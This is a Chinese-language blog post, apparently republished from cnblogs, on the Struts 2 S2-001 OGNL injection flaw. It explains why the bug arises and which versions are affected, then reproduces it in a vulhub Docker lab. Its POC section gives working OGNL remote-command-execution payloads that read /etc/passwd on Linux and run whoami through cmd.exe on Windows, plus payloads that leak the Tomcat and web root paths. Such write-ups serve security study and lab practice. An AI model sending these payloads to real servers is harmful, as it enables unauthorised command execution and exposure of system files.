首页 > 其他 > 详细

Struts 2 漏洞专题 | S2-001

时间:2020-09-03 14:53:43      阅读:63      评论:0      收藏:0      [点我收藏+]

Struts 2 漏洞专题 | S2-001

漏洞简介

? WebWork 2.1+和Struts 2的“ altSyntax”功能允许将OGNL表达式插入文本字符串并进行递归处理。 这允许恶意用户通常通过HTML文本字段提交包含OGNL表达式的字符串,如果表单验证失败,该字符串将由服务器执行。例如,以下表单要求"电话号码"字段不为空:

<s:form action="editUser">
  <s:textfield name="name" />
  <s:textfield name="phoneNumber" />
</s:form>

? 用户可以将“ phoneNumber”字段留空以触发验证错误,然后在“名称”字段中填充%{1 + 1}。 当表单重新显示给用户时,“名称”字段的值将为“ 2”。 原因是默认情况下,值字段被处理为%,并且由于OGNL表达式是递归求值的,因此它的计算就好像表达式是%{%{1 + 1}}一样。

? OGNL解析代码实际上在XWork中,而不在WebWork 2或Struts 2中。

? 通俗的讲,该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 % 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,但是由于后端使用 % 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

影响版本

WebWork 2.1 (启用 altsyntax), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

漏洞复现

环境准备

虚拟机CentOS 7 64bit(内含docker)

vulhub/strurs2/s2-001

POC

//RCE远程任意命令执行linux,若借助burpsuite测试需要url编码后使用
//经测试执行成功的命令:cat /etc/passwd,whoami,id,ls
//经测试成功失败的命令:ifconfig(docker环境内不能执行ifconfig命令),
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

//RCE远程任意命令执行windows
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

//获取tomcat执行路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

//获取web中间件路径
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath(‘/‘)),#response.flush(),
#response.close()
}

结果截图

技术分享图片

技术分享图片

技术分享图片

说明:本专题只为学术交流,请所有读者切勿利用以上资源用于非法犯罪活动,有任何问题欢迎联系我的邮箱1294553086@qq.com。

部分文字性说明来源于网上资源,若有侵权请发邮件到1294553086@qq.com。

Struts 2 漏洞专题 | S2-001

原文:https://www.cnblogs.com/Feng-L/p/13607381.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!